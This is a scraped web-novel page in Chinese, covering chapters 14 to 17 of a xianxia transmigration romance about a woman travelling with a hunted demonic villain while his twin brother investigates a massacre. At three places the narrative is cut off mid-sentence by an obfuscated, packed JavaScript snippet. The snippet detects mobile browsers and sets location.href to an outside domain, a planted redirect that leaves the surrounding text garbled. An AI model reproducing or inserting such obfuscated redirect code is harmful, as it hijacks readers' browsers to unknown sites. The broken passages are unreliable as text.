“可、可我们现在已经在荒郊野外了……”颜悬昭抱着最后一丝希望挣扎道,“这里总可以飞了吧?” “我内伤未愈,真气运转不畅,无法长途御器。”他顿了顿,补充道,语气里带着一丝淡淡的嫌弃,“更何况要带着你。长途赶路,用灵驹远比御器省力。” 颜悬昭真的想当即吐他身上,让他知道一下厉害。 这个想法一出来,应逢怜就像心有灵犀一般看了她一眼,无情地威胁道:“敢吐我就立马扔你下马。” 强大的求生欲让颜悬昭顿时压回了呕吐,竟还真的硬生生坚持了一路。 在马背上颠簸了近两个时辰,暮色四合,他们终于在一处看起来还算整洁的客栈前停了下来。 客栈坐落在远离城池的郊外,门口随风飘扬的幌子上写着“安泰”二字。 颜悬昭长长地舒了一口气,为自己的苦命的屁.股感到劫后余生,再坐多一会,她的屁.股估计就得裂成四瓣了。 应逢怜利落地翻身下马,动作轻盈矫健,丝毫看不出骑在马背上奔徙了大半天。 他站在马下,对着还僵坐着马上的颜悬昭言简意赅地命令道,“到了,下来。” 颜悬昭第一次骑马,坐在高高的马背上,低头看着似乎无比遥远的地面,脑子里感觉阵阵眩晕袭来,双腿发软得根本不听使唤,抖得如同秋风中的筛糠。 怎么上来的时候也没觉得这马这么高啊! “应逢怜,能不能搭把手拉我下来……”颜悬昭抱着马背可怜巴巴地哀求道。 “自己下。”应逢怜显然耐心耗尽,语气冷硬,说完竟真的转身就要往客栈里走,丝毫没有帮忙的意思。 客栈门口有几个过路歇脚的行商注意到了这边的动静,开始交头接耳,指指点点。 “哟小伙子,对自己媳妇好点嘛。”有人看不下去,对着应逢怜喊道。 “就是啊,男子汉大丈夫别跟自己媳妇闹别扭,小心把自己媳妇气跑了!” 眼看着关注他们的人有增多趋势,议论声也越来越多,应逢怜的脚步顿住了。 他似乎极其厌恶这种无谓的关注和嘈杂,猛地转过身,快步折返了回来。颜悬昭隔着纱帘都能感受到他那不耐烦的眼神。 他朝马上的颜悬昭伸出手,声音比刚才又冷了几个度:“下来!” 颜悬昭如蒙大赦,赶紧将手搭在他伸出的手上,脚笨拙地去踩马镫,颤颤巍巍地站起,尝试下来。 周围好奇的目光依旧不断飘来,不少目光直勾勾地往应逢怜那遮掩面容的幂篱下钻去。 应逢怜极度不适于这种暴露于人前被探究的感觉,见她还在磨蹭,彻底没了耐心,握住她的手猛地用力一拽—— “呀!”颜悬昭惊呼一声,整个人瞬间失去平衡,如同断了线的风筝般直直朝他怀里扑去。 她吓得紧闭双眼以为自己会狼狈摔倒在在地。 应逢怜用一只手臂有力地环住了她的腰,在她撞进他怀里的瞬间便稳住了她,随后略带嫌弃地将她往地上就是一放,即刻松开了手。 完成这一切后,他看也没看她一眼,仿佛刚才只是随手扶正了一个快要摔倒的箩筐,转身往朝客栈里走去。 颜悬昭回过神,小跑跟上,在他身旁追问道,“我们今晚是在这住吗?” “嗯。”应逢怜从鼻子里哼出一个音节,“歇一晚,明早再走。” 客栈大堂里光线有些昏暗,弥漫着一种灰尘和木头陈腐的气味,显然是来住客稀疏,店小二又懒得打扫。 掌柜是个满脸精明相的中年男人,正扒拉着算盘,见他们二人走进来,连忙放下手里的活计,脸上堆起热情的笑容:“二位客官,打尖还是住店啊?” 应逢怜将一袋灵石扔在台面上:“两间上房,住一晚。” 掌柜拿起袋子掂量一下,打开看见是灵石,脸上露出了为难的神情,犹豫地说道:“仙长,我们这不流通灵石……您可有银钱?” 应逢怜沉默了一会儿,突然转头看向颜悬昭。 他的目光穿透黑纱直勾勾地停留在她脸上,颜悬昭被他看得丈二和尚摸不着头脑。 看她干嘛呀?慢着……他不会没钱吧? 她不可思议地问道,“你昨天搜……去库房拿东西时没有收拾点金银细软出来吗?” 应逢怜却是一脸不以为然,“要那些俗物有何用?浪费我储物戒的空间。” 颜悬昭痛心疾首,早知道她就拿了,现在感觉自己痛失了一个亿!这个败家爷们居然有这么多值钱的东西都不拿! 掌柜看他们二人面面相觑半天没个结果,看来是掏不出钱了,态度一下子就冷淡了起来,“二位要是没钱住店的话,还请移步,小店还要经营。” 颜悬昭幽怨地看向应逢怜,用眼神诉说着:“这下子知道俗物有何用了吧?” 应逢怜却丝毫没有反省自我的觉悟,反而问道,“那你呢?颜家也算富甲一方,你没带点出来?” 这下轮到颜悬昭心虚了。 她确实是打包了一些金银首饰和私房钱,但昨天和小桃告别时热血上脑,就把自己的全部家当都偷偷塞进了给小桃的那个包袱里…… 她当时想着,跟着堂堂魔尊,还能缺钱花?不如把她的钱都给小桃。 谁曾想,应逢怜居然是个不食人间烟火,连打劫都不摸金银的傻小子! 但为了维护脸面,颜悬昭还是嘴硬说,“我当然有带!让我找找……” 应逢怜手指微动,把她的两个包裹从储物戒里取出,丢给了她。 颜悬昭深知自己的那个包裹里只有一些换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“守财奴”颜悬昭一时间忘记了面前的是让人闻风丧胆的大反派,当即拍案叫板,“不行!你不当家不知柴米贵,这么浪费下去,我们没过几天就喝西北风了!” 这里前不着村,后不着店,要是不投宿,他们今夜真是无处歇脚。看着昂贵的费用,颜悬昭决定折中处理。 “掌柜的,给我们俩开一间中等的大房。”颜悬昭说道,“还有,记得给我们找零,我盯着你,一分都不能找少!” 掌柜不情不愿地接过那块银子,十分不满颜悬昭的吝啬。 他一边慢吞吞地找零,一边意味深长地对应逢怜感叹道,“这婆娘还是不能找太厉害的,银钱话事权被她抓在手里,夫纲不振哦……” 应逢怜听得莫名其妙,完全没理解掌柜在感慨什么,不解地皱了皱眉。 颜悬昭也不想和掌柜解释他们二人复杂的关系,没好气地催促着他:“快点找钱,带我们去看房间。” 掌柜悻悻地闭了嘴,将门牌和找零递到了颜悬昭手中,还不忘吩咐一旁的店小二:“小李,把客人带上二楼丙字房,再把客人的马带去马厩栓好。” 店小二连忙应声,小跑过来,正要引他们上楼,客栈门口忽然传来一阵喧闹的人声,夹杂着清脆的笑语。 颜悬昭下意识地驻足回头望去。 只见五六个衣着光鲜、相貌出尘的年轻男女正走进客栈。他们身着各色劲装,男的俊朗,女的俏丽,每个人的腰间都佩剑或带着其他法器,穿着打扮间就可以看出他们的出身优渥,神情还带着未经世事的张扬与活力,一看便知并非寻常旅人。 掌柜的眼睛立刻亮了,脸上堆起比刚才热情十倍的笑容,快步迎了上去:“各位仙长、仙子,快请进!是打尖还是住店啊?” 为首的一名身着蓝色锦袍、面容温和的年轻男子微笑着点了点头,语气从容:“劳烦掌柜,为我们开六间上房。” 问都不问价钱,便一口气要了六间上房,出手阔绰得令人咋舌。 掌柜顿时笑逐颜开,连声应道:“好嘞!好嘞!绝对没问题!小李,快……” “等等。” 蓝衣男子却叫住了欲转身的掌柜,从怀里掏出了一幅卷轴,在他的面前展落,露出了里面的肖像。 他道:“我们是官府派来的,有贼人在这附近流窜。你可见过这个人?” 颜悬昭眼尖,一下子就看清了卷轴的内容,不安地看向了身侧的人。 那副卷轴上赫然画着应逢怜的模样。 15. 听澜 “家主,已经将画有应逢怜肖像的卷轴传送给了各家族和各门派。”黑衣属下低着头,恭恭敬敬地汇报道。 书房内烛火通明,鎏金香炉里冉冉飘出虚缈的香雾气,让这个充斥着书墨之气的空间里染上了丝丝沁人心鼻的檀香。 此刻书房中静得只能听见毛笔落在宣纸上的轻微触动,再无他响。 静候了半晌没有得到回应,黑衣属下悄悄地抬起了头,轻瞟了一眼,观察着面前家主的反应。 他的口中的“家主”正站在书案后,头也不抬地提笔、沾墨、落字,动作行云流水,一气呵成。 面前的人如瀑般的墨色青丝皆由一顶白玉冠高高束起,他身着雪青色的云缎锦衣,腰间仅由一条金镶玉腰带便束出高挑修长的身姿,一副世家矜贵公子的模样,但随身携带古朴长剑又让他有着区别于普通世家贵公子的仙风道骨。 “廉天,怎么不说了?”他兀地开口,声音轻朗。 “只是那画像十分还原……”名唤“廉天”的下属有些迟疑,声音不自觉地弱了些,“而那魔头的模样又和您……” 话还没说完,廉天就谨慎地将后半截话吞进了肚子里,生怕多说多错。 “和我什么?和我长得一模一样?”家主 缓缓抬起头来,阴影如潮水般从他的脸上褪.去,此刻被烛火照亮的面容竟与应逢怜有八分相像。 但不同于应逢怜常年一副冷冰冰的样子,他倒是眉眼柔和,嘴角总是噙着一抹若有若无的笑意,如同书卷中走出的翩翩公子,气质温润如玉,和应逢怜的冷冽阴鸷简直是天差地别。 即便面前家主的言行举止、待人接物都堪称宽容和善,但身上自带的威仪并不比历代家主少半分,甚至更让廉天感到发怵。 他的头埋得更低了,屏住了呼吸,一时间不敢回答。 “他是我应听澜的孪生兄弟,自然与我容貌相似,现如今并非秘密,也无须避讳。”应听澜用指节轻敲了面前的案桌示意他起身,语气依旧平和。 他背过手踱步至窗前,望着窗外的如水月色,继续吩咐道:“我也不讲究那些陈腐的礼仪规矩,若是顾虑冲犯了我而让肖像失真,延误抓捕,那就得不偿失了。” “你们只管让各宗门世家将通缉画像尽可能多地拓印,分发至各州府县、客栈酒肆、交通要道,务必让更多人见到。凡提供确凿线索、协助抓捕者一律重赏。” “是,家主圣明。属下这就去办。”廉天恭敬领命,悄然退下。 书房的门轻轻合拢,将外界的一切声响隔绝。应听澜独自立于窗前,望着窗外的皎皎明月出神,不知在想些什么,银霜似的月光照亮了他深邃的眉眼,却没能照亮他眼底的暗流涌动。 这时,书房内的山水屏风后,传来极轻微的脚步声,一道窈窕身影婷婷袅袅地转出。 来人挽着样式特别的灵巧发髻,一身素雅的云锦流雪鲛纱裙,臂弯间挽着一副轻盈的藕粉烟绫披帛,披帛正随着她步履带起的风轻轻浮动,恍若九天仙子误入凡尘。 她的面容也是极为姣好,眉如远山黛,眼含柔情水,波光流转间带着一抹化不去的哀婉,一点朱唇不点而绯,让人望之失神,再难移开目光。 她缓步走到应听澜身边,与他并肩而立。 仿佛连月光也格外偏爱这对玉做的人儿,将清辉温柔地洒在他们的周身,两道影子拉长在窗前交错到一起,如同一对天造地设的璧人。 若是此刻颜悬昭在场,肯定忍不住大喊:“不愧是原书男女主,登对极了!” “毓灵。”应听澜轻唤她的名字,自然地伸出手用指尖替她抚平眉心的微蹙,“为何愁容不展?” 岑毓灵轻叹一声,眼中忧虑更深:“听澜……我们真的要这样对逢怜吗?或许他只是修行出了岔子,一时走火入魔?若能寻回他,好生引导,未必不能重回正道。如今让天下人都知晓他入魔道,这世间,还如何能容得下他?” 应听澜收回手,负于身后,脸上的笑意淡去,语气也变得严肃起来:“毓灵,私情不能越于公义之上。正因他是我的弟弟,我才更不能徇私枉法。若人人皆因血脉姻亲而包庇纵容,这世间的秩序与公道又将置于何地?” 他语气沉静,却带着不容置疑的决断:“我身为应家家主,统领一方,更应以身作则,大义灭亲,否则难以服众。” 并非所有人都支持应听澜接手应家,暗地里还有无数双眼睛都紧盯着他,就等待着这位新任家主行差踏错,一举将他拉下,置于万劫不复的境地。 这种时候他更不能对应逢怜心慈手软。 岑毓灵在理智上无比清楚权衡利弊的道理,但始终无法狠心去彻底抛弃应逢怜。 “他从前只是性子有些冷傲,并非大奸大恶之徒。”岑毓灵低落道,“我总忍不住想,若是我……若是我们当初能对他多几分关切,少几分猜忌,他是否就不会一步步走向魔道……” 她总是过于地善良,习惯性地将错因归咎于自己,陷入无限的自责中。 应听澜用指腹轻轻摩挲着岑毓灵微凉的鬓发,见她实在难过,便她拥进了怀里,动作轻柔而克制。 他温声安慰道:“毓灵,不要难过。你没有义务为任何人的人生担责,这是他自己选择的路。” 他的声音依旧温柔,但说出的话却冷静乃至冷酷。 “我们就当真正的应逢怜在选择入魔的那刻已然死去。现在剩下的不过是顶着同一副皮囊与我们不死不修的魔头。” “笃笃笃——”一阵急促却克制的敲门声响起打断了他们的相拥。 应听澜松开了岑毓灵,声色恢复如常,扬声道:“进来。” 廉天依言推门而入,去而复返,他先是向应听澜躬身行礼,又对一旁的岑毓灵拱手致意,神色间带着些急意,却并未立刻开口。 应听澜微微颔首:“毓灵并非外人,但说无妨。” 得到他的示意,廉天才开口汇报道:“家主,筠州城发生灭门惨案,疑似与……应逢怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344549|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相关。” 岑毓灵呼吸猛地一窒,倏然转头看向应听澜,眼眸中写满了震惊与不愿相信。 应听澜面容倒是平静,眼底掠过一丝深思,语气沉稳:“详细说。” 廉天继续说道:“先前辑尘司一路追捕重伤的应逢怜直至筠州城,但一进城就失去了魔头踪迹。巧的是,失去他的踪迹没几天,当地一霸的宋家娶亲,娶亲当晚全府的人百余口人全部离奇消失,府内还有魔气残留。初步判断是被魔灭门了。” 他顿了顿,补充道,“但目前我们无法确认残留的魔气是否是应逢怜的。” 应听澜思忖了片刻便思路清晰地下达指令:“应逢怜最后消失的地方在哪?重点排查那块地方,摸清哪些人出入过。另外,立刻整理出宋府所有人员的详细名册,包括昨日参加婚宴的宾客名单,一个不漏。” 廉天领命,正欲转身离去。 “等等,”应听澜叫住他,吩咐道,“备车,不,准备最快的云舟,我要亲自去一趟筠州城。” 廉天应是,快步退下,抓紧部署。 “听澜!”岑毓灵忍不住上前一步,眼眸中满是担忧,“此事交由辑尘司和当地仙门处理便是,何需你亲自前往?应家事务繁多,你的身体……” “无妨,此事定要我前去。”应听澜语气温和,态度却无可转圜,“只有我能辨别出他的魔气。” “他的功法特别,若不能尽快抓到他,只怕是后患无穷。” 见他心意已决,岑毓灵轻咬下.唇,随即坚定道:“我和你一块去。若真遇到逢怜,你们先不要动手,让我单独去劝劝他,让他回头是岸,他从前最听我的话的。” “毓灵,他不会再听你的了。”应听澜淡淡道。 他抬手,指尖轻柔地勾起她颊边散落的青丝,替她体贴地挽至耳后,语气却冷静地如同陈述着一个事实:“你帮我引他入局,令他重伤濒死……以他的性子,最是容忍不了欺骗,他不会再信你分毫。更可况,他睚眦必报,我不能让你以身犯险。” 岑毓灵却仍旧抱有一丝希望,执着道:“逢怜没你们想得这么冷酷无情,他本性其实是好的。我会劝说他放弃修魔,回归正道,大家都会重新接纳他的。” 应听澜却突兀嗤笑一声:“让他废掉修为再次成为废人,被我们圈禁起来,你觉得他会愿意吗?” 岑毓灵一时语塞,沉默了片刻,她低声道:“至少……先将他劝回来,稳住局面。之后的事,或许可以从长计议……” “那意味着,你势必要对他许下诸多无法兑现的承诺。”应听澜嘴角依旧噙着那抹温和的弧度,眼神却无比冰冷,“没用的,别试图在他面前说谎。” 岑毓灵诧异地抬眸,惊讶于他的笃定。 她望着他平静无波的眼神,下意识地追问道:“为何如此肯定?” 应听澜微微倾身,靠近她,在她耳边用只有两人能听见的轻柔声音,一字一句道: “因为他能嗅到谎言的味道。” 16. 假夫妻 “他们在撒谎。”应逢怜的声音毫无征兆地在她脑海里响起。 “啊?”颜悬昭怔了一下,发出了疑惑的声音。 识海传音吗? 她下意识看了一眼身旁的应逢怜。 眼前的蓝衣男子见他们没有回应,再次出声询问,语气温和:“二位不必紧张,我并非怀疑你们,只是想了解你们从何处来,想结交一下。” 他虽然言辞客气,但颜悬昭敏锐察觉到散立四周的其余几人神情肃穆,姿态戒备,显然并未放松警惕。 这群人一进门就先找掌柜低声问话,随后便径直朝他们走来,拦下去路,细细盘问,明显是对他们有所怀疑。 应逢怜无声地攥紧了垂在身侧的手,黑纱下的眼眸悄然转红。 干脆都杀…… 他刚欲动作,手就被颜悬昭轻轻摁住了。 她拉着应逢怜的手,露出了一个腼腆的微笑,声音柔婉:“各位官爷莫怪,我们夫妇头一回被这样问话,有些紧张。” 她顿了顿,继续解释道:“我们是充州人氏,刚成亲不久,此番是出门游玩的。” “夫妇?”那男子目光如炬,落在她的发髻上,疑惑道,“可娘子这发式是未出阁的姑娘家样式。” 颜悬昭反应极快,摸了摸发髻,眼波流转,向应逢怜投去了羞涩一瞥,语气甜蜜:“因为我夫君最喜欢我这样打扮了……” 说着,她轻扯了下应逢怜的袖子,扭捏道:“是不是呀?夫君~” 应逢怜沉默一瞬,极低地“嗯”了一声,算是回应。 “闷葫芦。”颜悬昭嗔怪地看了他一眼,随既露出了一个大方的微笑,向他们解释道,“他就是这么个性子,大家莫怪。” 他们姿态亲密自然,倒真像是一对新婚燕尔、情意正浓的小夫妻。周围几个年轻人脸上顿时露出些微窘促又了然的神情,有人甚至下意识别开了目光,一副被强行塞了满嘴狗粮的复杂表情。 为首男子轻咳一声,定了定神,又问道:“是在下唐突了。只是……恕我多言,您夫君为何在室内仍戴着幂篱?” 颜悬昭正想开口搪塞,应逢怜却突然出声了。 他的声线粗粝嘶哑,如被砂石磨砺过,全不似平日般清朗:“我幼时遭遇过火灾,面容损毁,不便示人。” 颜悬昭眼里适时闪过痛楚,抬手轻掩胸口,对他们哀声恳求道:“这是他最不愿提起的事,各位官爷,求求你们行行好,别再追问了。我们夫妇真不是歹人!” 她的话音一落,年轻的少男少女俱是露出了不忍的神色,欲张口的话又咽回了肚子里。 这时,一位身着火红衣裙的年轻女孩悄悄走到了为首男子的耳边低声劝道:“师兄,我们就别抓着人家的痛处问了。那魔头是独身一人逃窜的,怎么看这对夫妻也不像是和他有关系的。” 男子沉吟片刻,终是点了点头,朝二人抱拳,语气缓和许多:“是在下冒昧,打扰二位了。还请自便。” 颜悬昭连忙摇头表示无妨,随即紧紧挽住应逢怜的手臂,转身朝身后的楼梯走去。 她能感觉到身后仍有目光追随着,于是将身体稍稍贴向了身侧的应逢怜,带着点新婚妻子特有的黏糊劲儿。 应逢怜身体下意识一僵,强行压下了不自在的反应,陪她演完这场戏。 他们步履不急不缓地走完了最后一节阶梯,直到拐进廊道,才彻底摆脱下方的视线。 ————— 房门在身后合拢,颜悬昭背靠着门板,长长地舒出一口气。 在他们的注视下,她既不敢走得太快、也不能走得太慢,生怕他们察觉到不对劲,搞得她差点走路同手同脚了。 应逢怜摘下了幂篱,露出了他那张惹眼又惹祸的脸。 他的目光挑剔地环绕了客房一圈,语气颇为嫌弃:“这是人住的地方吗,为什么不加上点银两多要间上房?” 颜悬昭也跟着四处打量了一下房间。屋子虽然不大,但是桌椅、卧榻一应俱全,床铺收拾得干净整洁,南边还有一扇大窗,打开就能看见皎洁的月色。 环境分明还不错,根本没有应逢怜嘴里那么差。 怕是某人的公主病犯了。 颜悬昭内心犯嘀咕,但面上还是好声好气地开解起他:“我们要省着点花钱。一下子花完了后面就得睡大街、睡树林了,那才遭罪呢!” “应公主”蹙了蹙眉,勉强接受了这个解释,又指了指床铺道:“可是只有一张床。” 颜悬昭这才后知后觉地意识到这个问题。但现在再下楼去添间房或加张榻,无异于自打嘴巴,告诉方才那些人他们并非真夫妻 【宿主难道你不是故意要和反派一间房,制造亲密机会的吗……】系统幽幽出声道。 她一怔,随即想入非非—— 对哦!孤男寡女共处一室,金风玉露、天雷地火…… 【宿主请你立马停住你不健康的想法,我眼前都充满马赛克了!】系统在她脑海里大声地抗议着。 颜悬昭摇了摇头立马把脑袋里的颜色废料全部甩出去,强装镇定地说道:“看来我们今晚只能在这张床上一起将就一晚了。” 应逢怜却无情地拒绝了:“我不习惯和人同床共枕,你睡卧榻,我睡床。” “卧榻这么小,你怎么睡得好,要不我们……”颜悬昭羞涩地提议着,猛地反应过来他说了什么,不可思议地瞪大了双眼道:“你让我睡卧榻?!” “不行吗?”应逢怜歪了歪头表示疑惑,毫无谦让之心。 “你能不能有点绅士风度?”颜悬昭悲愤地质问道。 “绅士是什么?我只知道乡绅。”应逢怜认真地问道,眼里难得有了点好奇。 系统颇为无语:【宿主你能不能不用动不动搬出点现代用语,讲话好歹古风一点,对面听不懂啊!】 好吧。 颜悬昭撇了撇嘴,深吸了一口气,调整了语言模式,试图文雅地再次开口:“噫吁嚱,悲哉!君何不怜香惜玉,让让小女子乎!” 【倒也不用这么古风……】系统无力吐槽。 所幸,应逢怜这回听懂了,他淡淡道:“我身量较大,而你身形娇小,自然是你睡卧榻比较合适。” 颜悬昭一时语塞,竟觉得这逻辑无懈可击。 但很快她就想到反驳的点:“不对,你修为这么高根本不用睡觉了!可我还没筑基,我需要床睡觉,应该你去卧榻。” “更何况,”她挺直腰板,拿出杀手锏,“这房钱是我付的!” “要么一同睡床,要么你去睡榻!”她摆出绝不退让的姿态。 应逢怜懒得和她继续纠缠下去,冷冷瞥她一眼,语气不耐地打断了她:“你睡床!” 颜悬昭立刻变脸,笑靥如花,声音甜得能掐出蜜来:“多谢夫君~你真好!” 应逢怜却不吃她这招,只是漠然道:“别乱跑,我有事出去一趟。” 话音未落,他已推开木窗,身形一闪便如夜鹰般掠出,悄无声息地融入窗外浓重的夜色里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366021|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>颜悬昭扑到窗边,极力远眺,隐隐看见到远处林间有起落的残影,几个瞬息便彻底消失得无踪。 她托着腮,倚在窗边,眼中不禁流露出浓浓的羡慕与一丝不甘:“要是能修炼到这般境界,天地之大,何处去不得?老天爷真是不公,穿越了还给我这般平庸的资质。” 她再度暗恨起这个世界。 不过生活早就把她捶打得如牛肉丸般Q弹圆润,颜悬昭很快就自我释怀了。 她转身奔向柔软的大床,蹬掉了鞋子,扑上去打了几个滚,将自己幸福地裹在了厚棉被里。 奔波了一天,终于可以舒服地躺平了! 【宿主别想着躺平,好好想怎么把握好今晚提升反派好感度吧。】煞风景的系统再次开口,如同无良的奴隶主般鞭策着她。 恨!牛马还要吃草休息呢! 颜悬昭不情不愿地构想起来,发挥社畜的本能,扔出了两套敷衍的方案:“无非就是怕黑怕老鼠半夜扑进他怀里,要么就是不经意间让他撞见美人出浴……” 【好老土,毫无新意。】系统不留情面地否决道。 “那我暂时想不出更好的了。”颜悬昭摊手,一副摆烂的模样。 眼见一味地施压让她根本振作不起来,系统转换策略,利诱道:“宿主你知道完成任务获得的成就点奖励有什么用吗?” 颜悬昭一下子有了精神,反问道:“有什么用?” 她记得完成任务后,系统除了奖励她生命值,还奖励了1000成就点,她一直忘了问是干什么用的。 系统回答道:【生命值是你的“基本工资”,成就点是你额外的“奖金”,只要你的成就点达到一万点,我们可以实现你一个愿望。】 “愿望?”颜悬昭眼睛倏地亮了,“什么愿望都可以?” 【只要不影响位面稳定都可以。】 “那我许愿成为世界首富、绝世大美女都可以吗?”颜悬昭好奇地问道。 【绝世大美女可以。但世界首富不行,会影响位面秩序,不过可以根据你所在位面的经济水平给你顶层富人的财富水平,保证你衣食无忧。】 颜悬昭静静地听着,手指无意识地卷着被角,似乎对这些并不太在意。 沉默片刻后,她轻声问,语气里还带着一丝不易察觉的紧张:“那……找人呢?找一个消失了很久的人,也可以吗? 系统愣了一下,给出了一个回答:【当然可以。只要这个人存在,无论他身处何处,我们都能帮你找到。】 “他肯定存在!”颜悬昭一下子激动了起来,随后语气低落了起来,“但我不确定他现在是否还活着……” “他们都说根本没有那个人存在,说那只是我的‘臆想’……但我很清楚,他不是!”她的手指微微收紧,语气执拗。 【你还记得他叫什么,长什么样子吗?】 “我……”颜悬昭的话语卡在喉间,关于他的记忆仿佛蒙着浓雾,努力搜寻却始终一片模糊,“我不记得了……名字、样子,都模糊了。也许有一天,连我也会彻底忘记他。” 【宿主,我可以和你承诺,只要你寻找的那个人存在过,我们就一定能找到他存在的痕迹,我们系统从不违诺。】系统笃定道。 “好!”系统的话如同一剂强心针注入了颜悬昭心中。 她握紧拳头,斗志重新燃起,“我一定会努力完成任务的!” 她正摩拳擦掌,重新构思攻略方案时,一阵轻微的敲门声突然响起,打破了房内的寂静。 17. 追踪 “笃笃笃——” 沉闷的叩门声回响着。 朱红色的颜府大门依旧紧闭没有动静,门前惨白的灯笼,在微风中轻轻晃动。 应听澜收了扣响大门的手,静立等待着,雪青色的衣袍在略显萧瑟的风中轻轻摆动。 又过了几息,大门“吱呀”一声开了一条缝隙,一个门房小心翼翼地从里头探出半张脸,警惕地打量着门外这群气质不凡却明显来者不善的人。 应听澜身后跟着一队辑尘司的人马,众人虽未拔剑,但那训练有素的肃杀之气仍吓得门房下意识地想缩回去。 他警惕地盯着来人,声音里带着显而易见的紧张:“颜、颜府新丧,不便接客……” 应听澜面色平和:“是办颜小姐的丧事吗?” 门房打量着他们,语气变得不善:“你们什么人?来做什么的?” 话音未落,一块银光熠熠的令牌猛地递到了他眼前,令牌上独特的鹰隼图样锐利逼人,栩栩如生,仿佛下一刻就要腾空扑来。 应听澜脸上的温和笑意淡去,语气平静却不容置疑:“辑尘司办案,开门。” —————— 片刻后,颜府的管家步履匆匆地迎了出来,脸上带着恰到好处的悲戚与恭敬。 他对着应听澜深深一揖:“诸位大人,我家老爷昨日骤逢丧女之痛,心力交瘁,实在不便见客,还望海涵。府中一应事务,暂由小人代为处理,定当全力配合诸位大人。” “请节哀。”应听澜礼节性地点了点头,语气并无多少波澜,话锋一转直切正题,“辑尘司正在调查一桩要案,需贵府协助,还请行个方便。” 辑尘司的名头,凡间稍有头脸的世家都清楚其分量。这是仙门与朝廷共同设立、专门处置涉及修仙界与凡间纠纷的机构,权力极大,背后是盘根错节的仙门世家势力,连官府也要礼让三分。 管家连声应道:“自是、自是。大人有何疑问,小人定然知无不言,言无不尽。”他打起十二分精神,不敢有丝毫怠慢。 应听澜接过属下递过来的一卷竹简,一边展开细看一边询问道:“昨日是颜府和宋府联姻的日子?” “是的。”管家脸上适时地露出了哀伤的神情,“本是大好的喜事,怎料……” 应听澜并未理会他的感慨,打断道:“颜小姐出嫁前几日,可有何异常举止?” 这问题有些出乎意料,管家怔了一下,努力回想:“并未发现小姐有什么异常啊……” “四日前,她曾去过筠州城外的云栖竹境。”应听澜的目光未曾离开手中的竹简,语气不急不缓,“自那回来以后,可曾发现她有什么异样?” 他这番话提醒了管家,管家仔细思索了片刻,道:“小姐那日从云栖竹境回来后,心情似乎有些郁郁寡欢。后来得知宋家家主前来提亲,还与老爷发生了争执,之后便被老爷下令禁足在房中,直至昨日出嫁。” 他顿了顿,补充了一个细节:“若说异常……小姐回来后似乎受了些轻伤,但并未传唤大夫,只让丫鬟去药铺买了些外伤药材自行处理了。” 应听澜翻阅竹简的手指微微一顿,抬眼:“可否带我们去颜小姐闺房一看?” “这……”管家迟疑了,谨慎道,“此事我需禀报老爷一声。” 应听澜知道凡间不少世家仍看重着那些陈旧的闺阁礼仪,表示谅解地颔首:“有劳通传。” 管家领命,匆匆离去。 一直安静跟在应听澜身侧的岑毓灵此时才轻声开口,眼中带着不解:“听澜,这位颜小姐有何特别?你看了云栖竹境的出入记录后,便坚持要来颜府。” 应听澜没有立刻回答,而是将手中那份记录着云栖竹境访客的竹简递给她,又抽出另一份宋府婚宴当晚在场人的名录:“你仔细看看。” 岑毓灵接过,仔细查看了一番,很快就找到了宋府新婚晚名册和云栖竹境进出名册上的“共同之处”——上面都赫然写着“颜悬昭”的名字。 “你的意思是……这位颜小姐很可能和逢怜有联系?”岑毓灵立刻明白了他猜测,顺着他的思路说道。 此前,他们已经去了宋府仔细探寻了一番,果然在宋府发现了浓重的魔气,但魔气并非是应逢怜所有,而魔气的踪迹也在婚房戛然而止。 一下子,两条线索同时中断,他们既失去应逢怜的踪迹,也无法继续寻找杀害宋府上下的真凶。 就在众人陷入混乱之际,应听澜提议去颜府看一看,他们这才来到这里。 岑毓灵仍感到迷惑:“宋府的案子不是和逢怜无关吗?即便颜小姐曾经到过云栖竹境,又能说明些什么呢?” “一切尚无定论。”应听澜语气沉稳,“颜小姐是目前唯一的新线索,或许顺着她,能发现些什么。” 不多时,管家去而复返,身后跟着几名低眉顺眼的下人,他得到了颜老爷的授意,态度越发谦恭,语气还带上了隐隐的讨好:“我们老爷说颜府上下会全力配合各位辑尘司大人的行动。” “我们小姐的闺房在这边,各位请随小人来。” 在管家的引领下,一行人穿过挂满白幡的回廊。 府中请来了不少僧人在诵经做法,给颜小姐做着超度的法事,哀哀的笙乐伴着喃喃的梵音响起,纸钱燃成的灰烬随风扬成了纷飞的雪。 岑毓灵看着这场景,心中不免生出几分物伤其类的酸楚。一位年华正好的女子在新婚之夜香消玉殒,甚至连尸骨都无处寻觅。 而他们目前却无法将真凶绳之以法。 于此同时,她敏锐地察觉到,这府中弥漫的气氛并非纯粹的悲伤,更多的是一种压抑的、无声的恐惧。下人们步履匆匆,面色惶惶,交谈时也压低了声音,仿佛怕惊扰什么。 她正想将自己的发现低声告知应听澜,管家已在一处院落前停下脚步:“大人,到了。” 众人抬头,只见面前的房间门窗紧闭,上面交叉贴着数道黄.色的封条,朱砂绘制的符文若隐若现。 